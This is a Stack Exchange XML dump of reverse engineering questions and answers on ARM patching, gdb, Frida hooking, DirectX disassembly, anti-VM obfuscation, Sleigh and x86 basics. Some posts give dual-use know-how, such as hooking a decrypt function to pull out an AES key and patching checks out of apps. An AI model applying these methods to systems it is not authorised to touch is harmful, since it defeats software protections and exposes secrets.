  <row Id="25171" PostTypeId="1" CreationDate="2020-05-30T17:20:39.990" Score="1" ViewCount="103" Body="&lt;p&gt;I'm disassembling an iPhone app&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to batch the instruction CBZ -&gt; CBNZ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instruction Code: D9 09 00 34&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per my understanding, CBZ will jump to the address if value of register is 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to convert it to CBNZ D9 09 00 35 but that didn't help&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;D9 09 00 34&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00000000: 01000100 00111001 00100000 00110000 00111001 00100000 D9 09 00000006: 00110000 00110000 00100000 00110011 00110100 00001010 00 34.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D9 09 00 35&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00000000: 01000100 00111001 00100000 00110000 00111001 00100000 D9 09 00000006: 00110000 00110000 00100000 00110011 00110101 00001010 00 35&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate your support&lt;/p&gt;&#xA;" OwnerUserId="33397" LastActivityDate="2020-05-30T17:20:39.990" Title="ARMv7 Word Patch (CBZ)" Tags="|arm|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25172" PostTypeId="1" AcceptedAnswerId="25203" CreationDate="2020-05-31T09:14:53.497" Score="1" ViewCount="69" Body="&lt;p&gt;I'm new with gdb and I have spent hours looking for direction but I can't find any.&#xA;I need to analyze an executable to find how this program process the arguments and where the output came from. I have it running on my system, got it working correctly to print some encoded string.&#xA;After some days trying gdb, I figure that I need to trace the data inside every function, but I can't pass this function __libc_init where the program alwas exited with code 0235. The last process says &lt;code&gt;__libc_init () from /system/lib/libc.so&lt;/code&gt; &#xA;so i think it's doing something with this external library libc.so. How could I continue the debug process when I hit this type of process? I can't find any reference to understand this.&lt;/p&gt;&#xA;" OwnerUserId="33405" LastEditorUserId="33405" LastEditDate="2020-05-31T09:34:20.073" LastActivityDate="2020-06-03T19:42:55.683" Title="GDB exited when running library" Tags="|gdb|elf|libc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25173" PostTypeId="1" CreationDate="2020-05-31T15:52:08.660" Score="0" ViewCount="169" Body="&lt;p&gt;I am running an application in BlueStacks that was installed with Google Play and am trying to look at network packets which are encrypted using RSA over TLS. I can see the client key exchange packet in the TLS handshake but do not know where to find my private key within the BlueStacks emulator to decrypt the messages after the handshake (I am trying to man-in-the-middle myself). Where is this located?&lt;/p&gt;&#xA;" OwnerUserId="33410" LastActivityDate="2020-05-31T15:52:08.660" Title="Where are private keys for Google Play stored on an android device?" Tags="|decryption|networking|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25174" PostTypeId="1" CreationDate="2020-05-31T16:36:22.667" Score="2" ViewCount="72" Body="&lt;p&gt;I disassemble CreateDevice function from my DirectX code and commented each paratemer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0043F485                 mov     eax, [ebp+lpParam]&#xA;.text:0043F488                 add     eax, 730h&#xA;.text:0043F48D                 push    eax  ;LPDIRECT3DDEVICE9&#xA;.text:0043F48E                 mov     ecx, [ebp+lpParam]&#xA;.text:0043F491                 add     ecx, 0B88h&#xA;.text:0043F497                 push    ecx  ;D3DPRESENT_PARAMETERS&#xA;.text:0043F498                 mov     edx, [ebp+var_170]&#xA;.text:0043F49E                 push    edx  ;vertex processing type&#xA;.text:0043F49F                 mov     eax, [ebp+lpParam]&#xA;.text:0043F4A2                 mov     ecx, [eax+728h]&#xA;.text:0043F4A8                 push    ecx  ;hWnd&#xA;.text:0043F4A9                 push    1    ;D3DDEVTYPE_HAL&#xA;.text:0043F4AB                 push    0    ;D3DADAPTER_DEFAULT&#xA;.text:0043F4AD                 mov     edx, [ebp+lpParam]&#xA;.text:0043F4B0                 mov     eax, [edx+734h]&#xA;.text:0043F4B6                 mov     ecx, [ebp+lpParam]&#xA;.text:0043F4B9                 mov     edx, [ecx+734h]&#xA;.text:0043F4BF                 mov     eax, [eax]&#xA;.text:0043F4C1                 push    edx  ;??????????????&#xA;.text:0043F4C2                 mov     ecx, [eax+40h]   ;this pointer&#xA;.text:0043F4C5                 call    ecx  ;call CreateDevice&#xA;.text:0043F4C7                 mov     eax, [ebp+lpParam]&#xA;.text:0043F4CA                 mov     ecx, [eax+730h];LPDIRECT3DDEVICE9 in return&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using experimental way I figured out LPDIRECT3DDEVICE9 variable presents in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0043F48D                 push    eax  ;LPDIRECT3DDEVICE9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, using debugger I figured out edx register:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0043F4C1                 push    edx  ;??????????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has value d3d9.dll:6521F191 db 0B8h what in expand view is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d3d9.dll:6521F191 db 0B8h ; ¬&#xA;d3d9.dll:6521F192 db  48h ; H&#xA;d3d9.dll:6521F193 db  77h ; w&#xA;d3d9.dll:6521F194 db  23h ; #&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question, why before CreateDevice function calling is there &quot;push edx&quot; line of code? In my example I used OOP and ecx is this pointer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0043F4C2                 mov     ecx, [eax+40h]   ;this pointer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what purpose is this line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0043F4C1                 push    edx  ;d3d9.dll:6521F191 db 0B8h ; ¬&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it like this pointer for DirectX COM interface or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2020-06-30T18:01:45.093" Title="Register edx and CreateDevice function DX" Tags="|ida|disassembly|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25175" PostTypeId="2" ParentId="25174" CreationDate="2020-05-31T17:51:03.570" Score="2" Body="&lt;p&gt;DirectX  interfaces like  &lt;code&gt;IDirect3D9&lt;/code&gt;/&lt;code&gt;IDirect3DDevice9&lt;/code&gt; are &lt;strong&gt;COM&lt;/strong&gt; interfaces and not C++ classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;COM (OLE2) predates the wide use of C++ and uses a C-compatible calling convention, &lt;code&gt;__stdcall&lt;/code&gt;, instead of the C++specific &lt;code&gt;__thiscall&lt;/code&gt;. The use of &lt;code&gt;ecx&lt;/code&gt; is a red herring; here it's used to load the function pointer (IDirect3D9::CreateDevice) and jump to it, &lt;em&gt;not&lt;/em&gt; as the &lt;code&gt;this&lt;/code&gt; pointer. The first argument to the call (&lt;code&gt;push edx&lt;/code&gt;) is the &lt;code&gt;This&lt;/code&gt; pointer (the interface itself). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C syntax, the call would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IDirect3D9 *d3d = Direct3DCreate9(D3D_SDK_VERSION);&#xA;IDirect3DDevice9 *pDevice;&#xA;d3d-&amp;gt;lpVtbl-&amp;gt;CreateDevice(d3d, adapter, D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, hWnd, BehaviorFlags, &amp;amp;presentationParameters, &amp;amp;pDevice);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All arguments to CreateDevice are pushed on the stack according to the &lt;code&gt;__stdcall&lt;/code&gt; convention.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-31T17:51:03.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25176" PostTypeId="1" CreationDate="2020-05-31T19:19:49.713" Score="1" ViewCount="1279" Body="&lt;p&gt;I am trying to obtain the SecretKey passed to the decryptAesCipherText function. I hooked the function in Frida to try to print out the arguments when the method is called but since SecretKey is an object, all attempts to print it out give output as [object Object]. However the SecretKey object has a method getEncoded() which will return a byte array which can be printed out in hex format. How can I call this method from Frida and get the result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The java function, I am hooking to is given below&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import javax.crypto.Cipher;&#xA;import javax.crypto.SecretKey;&#xA;&#xA;private byte[] decryptAesCipherText(SecretKey secretKey, byte[] bArr) {&#xA;        Cipher instance = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);&#xA;        instance.init(2, secretKey);&#xA;        return decryptCipherText(instance, bArr);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;The javascript snippet (incomplete) to hook the function&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var target_class = Java.use('com.reactlibrary.securekeystore.RNSecureKeyStoreModule');&#xA;&#xA;target_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').implementation = function(key, array){&#xA;        console.log(&quot;Inside decrypt aes&quot;);&#xA;&#xA;        //Call getEncoded method on key to get byte array&#xA;&#xA;        var ret = my_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').call(this, key, array);&#xA;        return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33414" LastActivityDate="2020-06-18T21:19:29.887" Title="Calling a method of a Java object passed as argument to hooked function in Frida" Tags="|android|java|frida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25180" PostTypeId="1" CreationDate="2020-06-01T06:57:31.413" Score="-1" ViewCount="136" Body="&lt;p&gt;I want to analyse a malware that do not run without administrative previliges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is risky but still. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I debug it with debugger as from entry point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because debugger could not start it as administrator. And I Got error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Error Starting Process (create Process, 00000740, uiAccess=&quot;true&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33093" LastActivityDate="2020-07-03T20:01:30.157" Title="Force debug Administrator Malware" Tags="|malware|unpacking|anti-debugging|patch-reversing|processhacker|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25181" PostTypeId="1" AcceptedAnswerId="25209" CreationDate="2020-06-01T09:19:51.083" Score="2" ViewCount="1289" Body="&lt;p&gt;I wanted to run an app on a VM but there are PUSH PUSH RETs stopping me from looking at their anti VM code. There is a messagebox when I run it on a VM. I set a breakpoint at &lt;code&gt;MessageBoxA&lt;/code&gt; and it gets triggered as well as EAX is showing the message for the VM. It's all good until now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QO1IB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QO1IB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using x64dbg and I opened &lt;code&gt;Call Stack&lt;/code&gt; tab and double-clicked on the address after user32.MessageBoxA (basically 2nd record), so I could trace back the calls before the actual MessageBoxA. It landed me here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JGI1a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGI1a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard that &lt;code&gt;PUSH RET&lt;/code&gt; is like a &lt;code&gt;jmp&lt;/code&gt;, &lt;code&gt;PUSH PUSH RET&lt;/code&gt; is like a &lt;code&gt;call&lt;/code&gt;. How do they work? Can they be deobfuscated with a tool/plugin or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PUSH 0xC9DFBF leads me here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IdSFw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IdSFw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PUSH 0xA4DB49 leads me here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cnZq1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cnZq1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I follow that jmp, it leads to similar code to &lt;code&gt;PUSH 0xC9DFBF&lt;/code&gt;'s image which ends with a jmp to MessageBoxA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could you recommend me to step into the code before the actual MessageBoxA call, so I can find their anti VM code and patch it? Do I need to step the instructions from the beginning one by one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dumps: &lt;a href=&quot;http://ufile.io/56c5b2z6&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ufile.io/56c5b2z6&lt;/a&gt;. Rebase to 0x1270000 and find 0181E65C address. This address is in the executable file. I attached two dumped DLLs as well, because they were referenced.&lt;/p&gt;&#xA;" OwnerUserId="29838" LastEditorUserId="29838" LastEditDate="2020-06-03T07:13:08.503" LastActivityDate="2020-06-05T19:35:07.300" Title="Dealing with obfuscated PUSH PUSH RET instructions" Tags="|assembly|x64dbg|deobfuscation|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25182" PostTypeId="2" ParentId="22866" CreationDate="2020-06-01T12:27:17.020" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can use &lt;a href=&quot;https://github.com/slimm609/checksec.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;checksec&lt;/a&gt; for dynamically linked binaries. However it'll fail for statically compiled binaries. You can try something like this for x86/64 with radare2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i386&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -AAA -qq -c &amp;quot;pdf @main~gs&amp;quot; test&#xA;│           0x00000591      658b0d140000.  mov ecx, dword gs:[0x14]&#xA;│           0x000005b6      65331d140000.  xor ebx, dword gs:[0x14]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;amd64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -AAA -qq -c &amp;quot;pdf @main~fs&amp;quot; test&#xA;│           0x00400b5c      64488b042528.  mov rax, qword fs:[0x28]&#xA;│           0x00400b85      644833142528.  xor rdx, qword fs:[0x28]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In x64 cookie is loaded from &lt;code&gt;fs:[0x28]&lt;/code&gt; and in x86 from &lt;code&gt;gs:[0x14]&lt;/code&gt; in the function prolog. You can refer to the answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19979/what-does-fs-and-gs-registers-provide-in-linux/19983#19983&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2020-08-05T11:57:02.163" LastActivityDate="2020-08-05T11:57:02.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25183" PostTypeId="2" ParentId="17835" CreationDate="2020-06-01T13:04:27.880" Score="1" Body="&lt;h1&gt;Dump byte-array as hex (Android only)&lt;/h1&gt;&#xA;&lt;p&gt;If you are using &lt;strong&gt;Frida on Android&lt;/strong&gt; there is an alternative, using the Android built-in Apache commons codec Hex encoder. As far as I know all Android versions should include the class &lt;code&gt;org.apache.commons.codec.binary.Hex&lt;/code&gt;. Unfortunately the version available in Android does not directly output a String, hence you also have to use &lt;code&gt;java.lang.String&lt;/code&gt; class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function encodeHex(byteArray) {&#xA;    const HexClass = Java.use('org.apache.commons.codec.binary.Hex');&#xA;    const StringClass = Java.use('java.lang.String');&#xA;    const hexChars = HexClass.encodeHex(byteArray);&#xA;    return StringClass.$new(hexChars).toString();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1848" LastEditorUserId="1848" LastEditDate="2022-02-28T13:22:09.700" LastActivityDate="2022-02-28T13:22:09.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25184" PostTypeId="1" AcceptedAnswerId="25185" CreationDate="2020-06-01T13:22:20.240" Score="2" ViewCount="159" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://frida.re/news/2019/09/18/frida-12-7-released/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; Frida release page and noticed it made the following reference:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Short of writing the whole agent in C, one could go ahead and build a&#xA;  native library, and load it using Module.load(). This works but means&#xA;  it has to be compiled for every single architecture, deployed to the&#xA;  target, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The CModule feature is fantastic for Frida-centric actions, but it would be nice to load generic shared-objects into the target process. CModule appears to be written for performance optimization within Stalker and related code. Any attempt to do something &quot;extra&quot; results in something like this will result in compile-time (at runtime, by the embedded TinyCC) errors such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Compilation failed: In file included from module.c:3:\nmodule.c:3: error: include file 'dlfcn.h' not found&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^ Attempt at writing a CModule stub that dlopen'd a shared object from disk. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the comment by Ole in the link above alludes to this being possible, though I can't find any references other than the &lt;a href=&quot;https://nodejs.org/api/addons.html#addons_hello_world&quot; rel=&quot;nofollow noreferrer&quot;&gt;NodeJS C++ Addons&lt;/a&gt; features that are, of course, specific to NodeJS.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt;&#xA;How does one load a generic object such that all of its exported functions are callable from Javascript? Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="12885" LastActivityDate="2020-06-01T13:50:11.650" Title="Load a *.dylib or *.so object into the Javascript V8 runtime?" Tags="|javascript|shared-object|frida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25185" PostTypeId="2" ParentId="25184" CreationDate="2020-06-01T13:50:11.650" Score="2" Body="&lt;p&gt;I was misinterpreting the context of the comment in the original link, it seems. I was under the impression that &lt;code&gt;Module.load&lt;/code&gt; was a v8-ism, while it in fact appears to be a Frida-API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://frida.re/docs/javascript-api/#module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://frida.re/docs/javascript-api/#module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12885" LastActivityDate="2020-06-01T13:50:11.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25186" PostTypeId="1" CreationDate="2020-06-01T15:26:05.563" Score="2" ViewCount="48" Body="&lt;p&gt;I have this a piece of code, disassembled DX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004386D3                 push    ecx&#xA;.text:004386D4                 fld1&#xA;.text:004386D6                 fstp    [esp+26Ch+var_26C] ;load 1.0 value texture coords&#xA;.text:004386D9                 push    ecx&#xA;.text:004386DA                 fld1&#xA;.text:004386DC                 fstp    [esp+270h+var_270] ;load 1.0 value texture coords&#xA;.text:004386DF                 push    ecx&#xA;.text:004386E0                 fld     ds:__real@c1700000&#xA;.text:004386E6                 fstp    [esp+274h+var_274] ;load -15.0 value x vertex&#xA;.text:004386E9                 push    ecx&#xA;.text:004386EA                 fld     ds:__real@c1700000&#xA;.text:004386F0                 fstp    [esp+278h+var_278] ;load -15.0 value y vertex&#xA;.text:004386F3                 push    ecx&#xA;.text:004386F4                 fld     ds:__real@c1700000&#xA;.text:004386FA                 fstp    [esp+27Ch+var_27C] ;load -15.0 value z vertex&#xA;.text:004386FD                 lea     ecx, [ebp+var_22C] ;this pointer&#xA;.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;fills structure with values&#xA;.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func&#xA;.text:0043870B                 mov     edx, [eax]&#xA;.text:0043870D                 mov     [ecx], edx&#xA;.text:0043870F                 mov     edx, [eax+4]&#xA;.text:00438712                 mov     [ecx+4], edx&#xA;.text:00438715                 mov     edx, [eax+8]&#xA;.text:00438718                 mov     [ecx+8], edx&#xA;.text:0043871B                 mov     edx, [eax+0Ch]&#xA;.text:0043871E                 mov     [ecx+0Ch], edx&#xA;.text:00438721                 mov     eax, [eax+10h]&#xA;.text:00438724                 mov     [ecx+10h], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code fills one vertex structure with values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-15.000000,-15.000000,-15.000000, 1.0,1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems values is stored into two copies. First copy of this values stored relatively ebp+var_22C and into ecx passed this pointer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004386FD                 lea     ecx, [ebp+var_22C] ; ecx has pointer this to store values&#xA;.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;fills structure with values&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And second copy this values stored relatively ebp+var_8 after calling j_D3DVERTEX__D3DVERTEX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I.e. completely it's looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004386FD                 lea     ecx, [ebp+var_22C] ; ecx has pointer this to store values&#xA;.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;store values into structure&#xA;.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I right understood- why need two copy of this vertex values? Maybe it is important the vertex buffer created with D3DPOOL_MANAGED and D3DUSAGE_WRITEONLY parameters.&lt;/p&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2020-07-02T08:00:20.020" Title="Two copies to store values" Tags="|ida|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25187" PostTypeId="1" CreationDate="2020-06-01T15:49:15.670" Score="2" ViewCount="293" Body="&lt;p&gt;I'm working on creating a processor definition for the  Motorola / NXP HC11 using the Sleigh language for Ghidra. A &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors/HCS12&quot; rel=&quot;nofollow noreferrer&quot;&gt;definition for the HC12 already exists&lt;/a&gt;, so I'm working off of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HC12 organizes its instructions into two pages: Page 1 with no prefix, and Page 2 with a prefix of 0x18:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hr28u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hr28u.png&quot; alt=&quot;HC12 Register Map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HC11, on the other hand, has two more pages of registers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vRQgq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vRQgq.png&quot; alt=&quot;HC11 Register Map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HC12 processor definition uses a context variable and a recursive constructor to determine if an instruction resides on page 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define context contextreg&#xA;    Prefix18       = (0,0)    # 1 if 0x18 is the first byte&#xA;    PrefixHCS12X   = (0,0)    # 1 if first byte is 0x18 so that HCS12X to use GPAGE for memory access&#xA;    UseGPAGE       = (1,1)    # 1 if should use GPAGE concatenated to lower 16-bit EA&#xA;    XGATE          = (2,2)    # 1 if in xgate instruction decode mode&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:^instruction  is XGATE=0 &amp;amp; op8=0x18; instruction  [ Prefix18=1; ] {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:ABA                     is XGATE=0 &amp;amp; (Prefix18=1 &amp;amp; op8=0x06)&#xA;{&#xA;    result:1 = A + B;&#xA;    addition_flags1(A, B, result);&#xA;    A = result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another user, &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1669&quot; rel=&quot;nofollow noreferrer&quot;&gt;also defining an HC11 processor&lt;/a&gt;, just used 16-bit instructions instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define token withprebyte(16)&#xA;  pre   = (0,16);&#xA;define token byte(8)&#xA;  op8   = (0,7);&#xA;&#xA;OFF: op8    is op8 { export *[const]:2 op8; }&#xA;IMM8: op8 is op8 { export *[const]:1 op8; }&#xA;&#xA;:bsetY OFF,IMM8 is pre=0x181C; OFF; IMM8&#xA;{&#xA;  local temp = *:1 (Y+OFF);&#xA;  temp = temp | (IMM8);&#xA;  *:1 (Y+OFF) = temp;&#xA;}&#xA;:bclrY OFF,IMM8 is pre=0x181D; OFF; IMM8&#xA;{&#xA;  local temp = *:1 (Y+OFF);&#xA;  temp = temp &amp;amp; (~IMM8);&#xA;  *:1 (Y+OFF) = temp;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The approach used on the HC12 seems bizarre and complicated to me. I also don't see how it will work for more than one page. Is there a reason I shouldn't just use 16-bit tokens for those instructions which reside on other pages? Is using the context variable, as the HC12 implementation does, more elegant in some way that I'm not seeing?&lt;/p&gt;&#xA;" OwnerUserId="33423" LastActivityDate="2020-06-01T15:49:15.670" Title="How do I implement register pages in Sleigh?" Tags="|ghidra|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25188" PostTypeId="1" CreationDate="2020-06-01T17:46:10.720" Score="1" ViewCount="16451" Body="&lt;p&gt;I'm trying to reverse engineer a program and i found the following instruction: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test al, al&#xA;je label &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what does these two instruction do ? Can someone explain please ? &lt;/p&gt;&#xA;" OwnerUserId="33425" LastActivityDate="2020-06-01T18:22:06.473" Title="What does 'test al, al' mean?" Tags="|assembly|binary-analysis|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
